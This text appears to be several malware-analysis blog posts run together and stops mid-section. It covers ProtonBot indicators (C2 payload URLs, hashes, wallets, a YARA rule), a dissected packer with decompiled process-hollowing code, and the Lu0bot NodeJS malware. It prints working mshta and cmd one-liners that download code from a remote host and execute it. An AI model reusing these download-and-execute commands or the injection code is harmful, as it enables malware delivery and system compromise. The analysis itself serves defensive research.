There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It’s common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.

All of them are accessible on the malware tracker.

[*] Yellow means duplicate hashes in the database.

IoC

Proton Bot

187.ip-54-36-162.eu/cmdd.exe
9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f

Payloads from Proton Bot C2

Urls

187.ip-54-36-162.eu/uploads/0et5opyrs1.exe
187.ip-54-36-162.eu/uploads/878gzwvyd6.exe
187.ip-54-36-162.eu/uploads/8yxt7fd01z.exe
187.ip-54-36-162.eu/uploads/9xj0yw51k5.exe
187.ip-54-36-162.eu/uploads/lc9rsy6kjj.exe
187.ip-54-36-162.eu/uploads/m3gc4bkhag.exe
187.ip-54-36-162.eu/uploads/me0zam1czo.exe
187.ip-54-36-162.eu/uploads/Project1.exe
187.ip-54-36-162.eu/uploads/qisny26ct9.exe
187.ip-54-36-162.eu/uploads/r5qixa9mab.exe
187.ip-54-36-162.eu/uploads/rov08vxcqg.exe
187.ip-54-36-162.eu/uploads/ud1lhw2cof.exe
187.ip-54-36-162.eu/uploads/v6z98xkf8w.exe
187.ip-54-36-162.eu/uploads/vww6bixc3p.exe
187.ip-54-36-162.eu/uploads/w1qpe0tkat.exe

Hashes

349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1
42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e
5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9
6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491
77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab
7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0
aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a
ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814
bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c
c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9
cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f
cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856
d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0

Domains

187.ip-54-36-162.eu

PDB

E:\PROTON\Release\build.pdb

Wallets

3HAQSB4X385HTyYeAPe3BZK9yJsddmDx6A
XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz
LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ
t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h
1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN
0xf7dd0fc161361363d79a3a450a2844f2a70907c6
D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8

Threat Actor

Glad0ff (Main)
ProtonSellet (Seller)

Yara

rule ProtonBot : ProtonBot {
meta:
description = “Detecting ProtonBot v1”
author = “Fumik0_”
date = “2019-05-24”

strings:
$mz = {4D 5A}

$s1 = “proton bot” wide ascii
$s2 = “Build.pdb” wide ascii
$s3 = “ktmw32.dll” wide ascii
$s4 = “json.hpp” wide ascii

condition:
$mz at 0 and (all of ($s*))
}

Conclusion

Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it’s doing its job with extra modules for probably being more attractive. Let’s see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.

On my side, it’s time to chill a little.

Anatomy of a simple and popular packer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

It’s been a while that I haven’t release some stuff here and indeed, it’s mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn’t wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let’s start 2021 with something really simple… Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).

Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

Obfuscation
Cryptography
Decompression
Multi-stage
Shellcode
Remote Thread Hijacking

Disclamer: This post will be different from what i’m doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

B7D90C9D14D124A163F5B3476160E1CF

Architecture

Speaking of itself, the packer is split into 3 main stages:

A PE that will allocate, decrypt and execute the shellcode n°1
Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick

An overview of this packer

Stage 1 – The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but… after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
  int i; 
  SIZE_T uBytes; 
  HMODULE hModule; 

  // Will be used for Virtual Protect call
  hKernel32 = LoadLibraryA("kernel32.dll");

  // Bullshit stuff for getting correct uBytes value
  uBytes = CONST_VALUE

  _LocalAlloc();

  for ( i = 0; j < uBytes; ++i ) {
    (_FillAlloc)();
  }

  _VirtualProtect();

  // Decrypt function vary between date & samples
  _Decrypt();     
  _ExecShellcode();

  return 0;
}

It’s important to notice this packer is changing its first stage regularly, but it doesn’t mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

int (*LocalAlloc())(void)
{
  int (*pBuff)(void); // eax

  pBuff = LocalAlloc(0, uBytes);
  Shellcode = pBuff;
  return pBuff;
}

For avoiding giving directly the position of the shellcode, It’s using a simple addition trick for filling the buffer step by step.

int __usercall FillAlloc(int i)
{
  int result; // eax

  // All bullshit code removed
  result = dword_834B70 + 0x7E996;
  *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
  return result;
}

Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.

BOOL __stdcall VirtualProtect()
{
  char v1[4]; // [esp+4h] [ebp-4h] BYREF

  String = 0;
  lstrcatA(&String, "VertualBritect");          // No ragrets
  byte_442581 = 'i';
  byte_442587 = 'P';
  byte_442589 = 'o';
  pVirtualProtect = GetProcAddress(hKernel32, &String);
  return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}

Decrypting the the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it’s simple and easy to used

void Decrypt()
{
  SIZE_T size;
  PVOID sc; 
  SIZE_T i; 

  size = uBytes;
  sc = Shellcode;
  for ( i = size >> 3; i; --i )
  {
    _TEADecrypt(sc);                   
    sc = sc + 8;                  // +8 due it's v[0] & v[1] with TEA Algorithm
  }
}

I am always skeptical whenever i’m reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let’s take our time to just make sure about which variable we have to identified:

v[0] and v[1]
y & z
Number of circles (n=32)
16 bytes key represented as k[0], k[1], k[2], k[3]
delta
sum

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

int *__stdcall _TEADecrypt(int *v)
{
  unsigned int y, z, sum;
  int i, v7, v8, v9, v10, k[4]; 
  int *result;

  y = *v;
  z = v[1];
  sum = 0xC6EF3720;

  k[0] = dword_440150;
  k[1] = dword_440154;
  k[3] = dword_440158;
  k[2] = dword_44015C;

  i = 32;
  do
  {
    // Junk code purged
    v7 = k[2] + (y >> 5);
    v9 = (sum + y) ^ (k[3] + 16 * y);
    v8 = v9 ^ v7;
    z -= v8;
    v10 = k[0] + 16 * z;
    (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
    sum += 0x61C88647;  // exact equivalent of sum -= 0x9
    --i;
  }

  while ( i );
  result = v;
  v[1] = z;
  *v = y;
  return result;
}

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

Stage 2 – Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

One focused for saving fundamentals WinAPI call
- LoadLibraryA
- GetProcAddress
Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

Shellcode main()

Give my WinAPI calls

Disclamer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDllName

Like any another shellcode, it needs to get some address function to start its job, so our PEB best friend is there to do the job.

00965233 | 55                       | push ebp                                      |
00965234 | 8BEC                     | mov ebp,esp                                   |
00965236 | 53                       | push ebx                                      |
00965237 | 56                       | push esi                                      |
00965238 | 57                       | push edi                                      |
00965239 | 51                       | push ecx                                      |
0096523A | 64:FF35 30000000         | push dword ptr fs:[30]                        | Pointer to PEB
00965241 | 58                       | pop eax                                       |
00965242 | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]                  | Pointer to Ldr
00965245 | 8B48 0C                  | mov ecx,dword ptr ds:[eax+C]                  | Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)

Let’s take a look then in the PEB structure

For beginners, i sorted all these values with there respective variable names and meaning.

offset	Type	Variable	Value
0x00	LIST_ENTRY	InLoaderOrderModuleList->Flink	A8 3B 8D 00
0x04	LIST_ENTRY	InLoaderOrderModuleList->Blink	C8 37 8D 00
0x08	LIST_ENTRY	InMemoryOrderList->Flink	B0 3B 8D 00
0x0C	LIST_ENTRY	InMemoryOrderList->Blick	D0 37 8D 00
0x10	LIST_ENTRY	InInitializationOrderModulerList->Flink	70 3F 8D 00
0x14	LIST_ENTRY	InInitializationOrderModulerList->Blink	BC 7B CC 77
0x18	PVOID	BaseAddress	00 00 BB 77
0x1C	PVOID	EntryPoint	00 00 00 00
0x20	UINT	SizeOfImage	00 00 19 00
0x24	UNICODE_STRING	FullDllName	3A 00 3C 00 A0 35 8D 00
0x2C	UNICODE_STRING	BaseDllName	12 00 14 00 B0 6D BB 77

Because he wants at the first the BaseDllName for getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it’s pointing to 0x30

008F524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]

It means, It will grab buffer pointer from the UNICODE_STRING structure

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

After that, the magic appears

Register	Address	Symbol Value
EAX	77BB6DB0	L”ntdll.dll”

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer 
0096524D | 6A 02                    | push 2                                        | Increment is 2 due to UNICODE value
0096524F | 8B7D 08                  | mov edi,dword ptr ss:[ebp+8]                  |
00965252 | 57                       | push edi                                      | DLL Hash (searched one)
00965253 | 50                       | push eax                                      | DLL Name
00965254 | E8 5B000000              | call 9652B4                                   | Checksum()
00965259 | 85C0                     | test eax,eax                                  |
0096525B | 74 04                    | je 965261                                     |
0096525D | 8BCA                     | mov ecx,edx                                   | pEntry = pEntry->Flink
0096525F | EB E7                    | jmp 965248                                    |

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it’s negligible. Otherwise yeah, it could be fucked up very quickly.

BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
  int pos; // ecx
  int checksum; // ebx
  int c; // edx

  pos = 0;
  checksum = 0;
  c = 0;
  do
  {
    LOBYTE(c) = *pBuffer | 0x60;                // Lowercase
    checksum = 2 * (c + checksum);
    pBuffer += i;                               // +2 due it's UNICODE
    LOBYTE(pos) = *pBuffer;
    --pos;
  }
  while ( *pBuffer && pos );
  return checksum != hash;
}

Find the correct function address

With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18                  | mov eax,dword ptr ds:[ecx+18]                 | BaseAddress
00965264 | 50                       | push eax                                      |
00965265 | 8B58 3C                  | mov ebx,dword ptr ds:[eax+3C]                 | PE Signature (e_lfanew) RVA
00965268 | 03C3                     | add eax,ebx                                   | pNTHeader = BaseAddress + PE Signature RVA
0096526A | 8B58 78                  | mov ebx,dword ptr ds:[eax+78]                 | Export Table RVA
0096526D | 58                       | pop eax                                       |
0096526E | 50                       | push eax                                      |
0096526F | 03D8                     | add ebx,eax                                   | Export Table
00965271 | 8B4B 1C                  | mov ecx,dword ptr ds:[ebx+1C]                 | Address of Functions RVA
00965274 | 8B53 20                  | mov edx,dword ptr ds:[ebx+20]                 | Address of Names RVA
00965277 | 8B5B 24                  | mov ebx,dword ptr ds:[ebx+24]                 | Address of Name Ordinals RVA
0096527A | 03C8                     | add ecx,eax                                   | Address Table
0096527C | 03D0                     | add edx,eax                                   | Name Pointer Table (NPT)
0096527E | 03D8                     | add ebx,eax                                   | Ordinal Table (OT)
00965280 | 8B32                     | mov esi,dword ptr ds:[edx]                    |
00965282 | 58                       | pop eax                                       |
00965283 | 50                       | push eax                                      | BaseAddress
00965284 | 03F0                     | add esi,eax                                   | Function Name = NPT[i] + BaseAddress
00965286 | 6A 01                    | push 1                                        | Increment to 1 loop
00965288 | FF75 0C                  | push dword ptr ss:[ebp+C]                     | Function Hash (searched one)
0096528B | 56                       | push esi                                      | Function Name
0096528C | E8 23000000              | call 9652B4                                   | Checksum()
00965291 | 85C0                     | test eax,eax                                  |
00965293 | 74 08                    | je 96529D                                     |
00965295 | 83C2 04                  | add edx,4                                     |
00965298 | 83C3 02                  | add ebx,2                                     |
0096529B | EB E3                    | jmp 965280                                    |

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

0096529D | 58                       | pop eax                                       |
0096529E | 33D2                     | xor edx,edx                                   | Purge
009652A0 | 66:8B13                  | mov dx,word ptr ds:[ebx]                      |
009652A3 | C1E2 02                  | shl edx,2                                     | Ordinal Value
009652A6 | 03CA                     | add ecx,edx                                   | Function Address RVA
009652A8 | 0301                     | add eax,dword ptr ds:[ecx]                    | Function Address = BaseAddress + Function Address RVA
009652AA | 59                       | pop ecx                                       |
009652AB | 5F                       | pop edi                                       |
009652AC | 5E                       | pop esi                                       |
009652AD | 5B                       | pop ebx                                       |
009652AE | 8BE5                     | mov esp,ebp                                   |
009652B0 | 5D                       | pop ebp                                       |
009652B1 | C2 0800                  | ret 8                                         |

Road to the second shellcode ! \o/

Saving API into a structure

Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.

In the end, the shellcode is completely setup

struct SHELLCODE
{
  _BYTE Start;
  SCHEADER *ScHeader;
  int ScStartOffset;
  int seed;
  int (__stdcall *pLoadLibraryA)(int *);
  int (__stdcall *pGetProcAddress)(int, int *);
  PVOID GlobalAlloc;
  PVOID GetLastError;
  PVOID Sleep;
  PVOID VirtuaAlloc;
  PVOID CreateToolhelp32Snapshot;
  PVOID Module32First;
  PVOID CloseHandle;
};

struct SCHEADER
{
  _DWORD dwSize;
  _DWORD dwSeed;
  _BYTE option;
  _DWORD dwDecompressedSize;
};

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it’s somewhat amazing. The more absurd it is, the more i like and i found this really clever.

int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
  unsigned int i; // ebx
  int hModule; // edi
  int lpme[137]; // [esp+Ch] [ebp-224h] BYREF

  lpme[0] = 0x224;
  for ( i = 0; i < 0x64; ++i )
  {
    if ( i )
      (sc->Sleep)(100);
    hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
    if ( hModule != -1 )
      break;
    if ( (sc->GetLastError)() != 24 )
      break;
  }
  if ( (sc->Module32First)(hModule, lpme) )
    JumpToShellcode(sc); // <------ This is where to look :)
  return (sc->CloseHandle)(hModule);
}

Allocation & preparing new shellcode

void __cdecl JumpToShellcode(SHELLCODE *SC)
{
  int i; 
  unsigned __int8 *lpvAddr; 
  unsigned __int8 *StartOffset; 

  StartOffset = SC->ScStartOffset;
  Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
  if ( SC->ScHeader->Option )
  {
    lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
    i = 0;
    Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
    StartOffset = lpvAddr;
    SC->ScHeader->CompressSize = i;
  }
  __asm { jmp     [ebp+StartOffset] }

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER.

int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
  int seed; // eax
  unsigned int count; // esi
  _BYTE *v6; // edx

  seed = s;
  count = 0;
  for ( API->seed = s; count < size; ++count )
  {
    seed = ms_rand(sc);
    *v6 ^= seed;
  }
  return seed;
}

XOR everywhere \o/

Then when it’s done, it only needs to be decompressed.

Decrypted shellcode entering into the decompression loop

Stage 3 – Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

Find & Stored GetProcAddress & Load Library
Saving all WinAPI functions required
Pushing the payload

The structure from this one is a bit longer

struct SHELLCODE
{
  PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
  PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
  char notused;
  PVOID ScOffset;
  PVOID LoadLibraryA;
  PVOID MessageBoxA;
  PVOID GetMessageExtraInfo;
  PVOID hKernel32;
  PVOID WinExec;
  PVOID CreateFileA;
  PVOID WriteFile;
  PVOID CloseHandle;
  PVOID CreateProcessA;
  PVOID GetThreadContext;
  PVOID VirtualAlloc;
  PVOID VirtualAllocEx;
  PVOID VirtualFree;
  PVOID ReadProcessMemory;
  PVOID WriteProcessMemory;
  PVOID SetThreadContext;
  PVOID ResumeThread;
  PVOID WaitForSingleObject;
  PVOID GetModuleFileNameA;
  PVOID GetCommandLineA;
  PVOID RegisterClassExA;
  PVOID CreateWindowA;
  PVOID PostMessageA;
  PVOID GetMessageA;
  PVOID DefWindowProcA;
  PVOID GetFileAttributesA;
  PVOID hNtdll;
  PVOID NtUnmapViewOfSection;
  PVOID NtWriteVirtualMemory;
  PVOID GetStartupInfoA;
  PVOID VirtualProtectEx;
  PVOID ExitProcess;
};

Interestingly, the stack string trick is different from the first stage

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable “j” is the only one that have a sense.

void __cdecl _Inject(SC *sc)
{
  LPSTRING lpFileName; // [esp+0h] [ebp-14h]
  char magic[8]; 
  unsigned int j; 
  int i; 

  strcpy(magic, "apfHQ");
  j = 0;
  i = 0;
  while ( i != 111 )
  {
    lpFileName = (sc->GetFileAttributesA)(magic);
    if ( j > 1 && lpFileName != 0x637ADF )
    {
      i = 111;
      SetupInject(sc);
    }
    ++j;
  }
}

Good ol’ remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

  ScOffset = sc->ScOffset;
  pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
  lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
  status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
  
  if ( pNtHeader->Signature == 0x4550 ) // "PE"
  {
    (sc->GetStartupInfoA)(&lpStartupInfo);
    lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo, &lpProcessInformation);
    status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
    if ( status )
    {
      (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
      lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
      lpContext->ContextFlags = &loc_10005 + 2;
      status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
      if ( status )
      {
        (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8, &BaseAddress, 4, 0);
        if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
          (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
        lpBaseAddress = (sc->VirtualAllocEx)(
                          lpProcessInformation.hProcess,
                          pNtHeader->OptionalHeader.ImageBase,
                          pNtHeader->OptionalHeader.SizeOfImage,
                          0x3000,
                          0x40);
        (sc->NtWriteVirtualMemory)(
          lpProcessInformation.hProcess,
          lpBaseAddress,
          sc->ScOffset,
          pNtHeader->OptionalHeader.SizeOfHeaders,
          0);
        for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
        {
          Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
          (sc->NtWriteVirtualMemory)(
            lpProcessInformation.hProcess,
            Section[1].Size + lpBaseAddress,
            Section[2].Size + sc->ScOffset,
            Section[2].VirtualAddress,
            0);
        }
        (sc->WriteProcessMemory)(
          lpProcessInformation.hProcess,
          lpContext->Ebx + 8,
          &pNtHeader->OptionalHeader.ImageBase,
          4,
          0);
        lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint + lpBaseAddress;
        (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
        (sc->ResumeThread)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hProcess);
        status = (sc->ExitProcess)(0);
      }
    }
  }

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).

Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it’s the exact copy pasta from the shellcode side.

TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

Shellcode n°1 is identical into two different campaign waves

It seems that the second shellcode changed few hours ago (at the date of this paper), so let’s see if other are motivated to make their own analysis of it

Conclusion

Well well, it’s cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.

Well, now it’s time to go serious for the next release 🙂

Lu0bot – An unknown NodeJS malware using UDP

Posted on August 30, 2024 - August 30, 2024 by Maq Verma

In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.

I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.

I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.

Disclaimer: I don’t know the real name of this malware.

Minimalist C/C++ loader

When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.

Written in C/C++, only one function has been developped.

void start()
{
  char *buff; 

  buff = CmdLine;
  do
  {
    buff -= 'NPJO';      // The key seems random after each build
    buff += 4;        
  }
  while ( v0 < &CmdLine[424] );
  WinExec(CmdLine, 0);   // ... to the moon ! \o/
  ExitProcess(0);
}

This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()

*Simple sub loop for unveiling the next stage*

Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.

mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
    x = 'WinHttp';
    127;
    x = new ActiveXObject(x + '.' + x + 'Request.5.1');
    26;
    x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
    192;
    x.send();
    37;
    y = 'ipt.S';
    72;
    new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
    179;
} catch (e) {};
234;;
window.close();"

Setting up NodeJs

Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.

new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);

Let’s inspect the code (response) step by step

cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]

Set the console into %ALLUSERPROFILE% path
Create fake folder DNTException

[...] || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);
           x.Open("GET",unescape(WScript.Arguments(0^)^),false^);
           x.Send(^);
           b = new ActiveXObject("ADODB.Stream"^);
           b.Type=1;
           b.Open(^);
           b.Write(x.ResponseBody^);
           b.SaveToFile(WScript.Arguments(1^),2^); 
           > get1618489872131.txt 
           & cscript /nologo /e:jscript get1618489872131.txt "http://hri2.xyz/hri/?%HEXVALUE%&b=%HEXVALUE%" node.cab 
           & expand node.cab node.exe 
           & del get1618489872131.txt node.cab 
) [...]

Generate a js code-focused into downloading a saving an archive that will be named “node.cab”
Decompress the cab file with expand command and renamed it “node.exe”
Delete all files that were generated when it’s done

[...] & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1618489872131.txt [...]

Recreate a js script that will execute again some code

[...] cscript /nologo /e:jscript get1618489872131.txt "node -e eval(FIRST_STAGE_NODEJS_CODE)" & del get1618489872131.txt [...]

In the end, this whole process is designed for retrieving the required NodeJS runtime.

*Lu0bot nodejs loader initialization process*

Matryoshka Doll(J)s

Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.

*implistic lu0bot nodejs loader that is basically the starting point for everything*

From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…

For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.

In the end, lu0bot is basically working in that way

After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.

*The madness philosophy behind eval() calls*

For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:

XOR
AES-128-CBC
Diffie-Hellman
Blowfish

Understanding Lu0bot variables

S (as Socket)

Fundamental Variable
UDP communications with C&C’s
Receiving main classes/variables
Executing “main branches” code

function om1(r,q,m)      # Object Message 1
 |--> r # Remote Address Information
 |--> q # Query 
 |--> m # Message

function c1r(m,o,d)       # Call 1 Response
 |--> m # Message
 |--> o # Object
 |--> d # Data

function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
 |--> m # Message
 |--> r # Remote Address Information

function ss(p,q,c,d)      # ScriptSetup / SocketSetup
 |--> p # Personal ID
 |--> q # Query 
 |--> c # Crypto/Cipher
 |--> d # Data

function f()              # UDP C2 communications

KO (as Key Object ?)

lu0bot mastermind
Containing all bot information
- C&C side
- Client side
storing fundamental handle functions for task manager(s)
- eval | buffer | file

ko {
    pid:     # Personal ID
    aid:     # Address ID (C2)
    q:       # Query
    t:       # Timestamp
    lq: {
             # Query List
    },
    pk:      # Public Key
    k:       # Key
    mp: {},  # Module Packet/Package 
    mp_new: [Function: mp_new],        # New Packet/Package in the queue
    mp_get: [Function: mp_get],        # Get Packet/Package from the queue
    mp_count: [Function: mp_count],    # Packer/Package Counter
    mp_loss: [Function: mp_loss],      # ???
    mp_del: [Function: mp_del],        # Delete Packet/Package from the queue
    mp_dtchk: [Function: mp_dtchk],    # Data Check
    mp_dtsum: [Function: mp_dtsum],    # Data Sum
    mp_pset: [Function: mp_pset],      # Updating Packet/Package from the queue
    h: {                               # Handle
        eval: [Function],              
        bufwrite: [Function],
        bufread: [Function],
        filewrite: [Function],
        fileread: [Function]
    },
    mp_opnew: [Function: mp_opnew],    # Create New
    mp_opstat: [Function: mp_opstat],  # get stats from MP
    mp_pget: [Function],               # Get Packet/Package from MP
    mp_pget_ev: [Function]             # Get Packet/Package Timer Intervals
}

MP

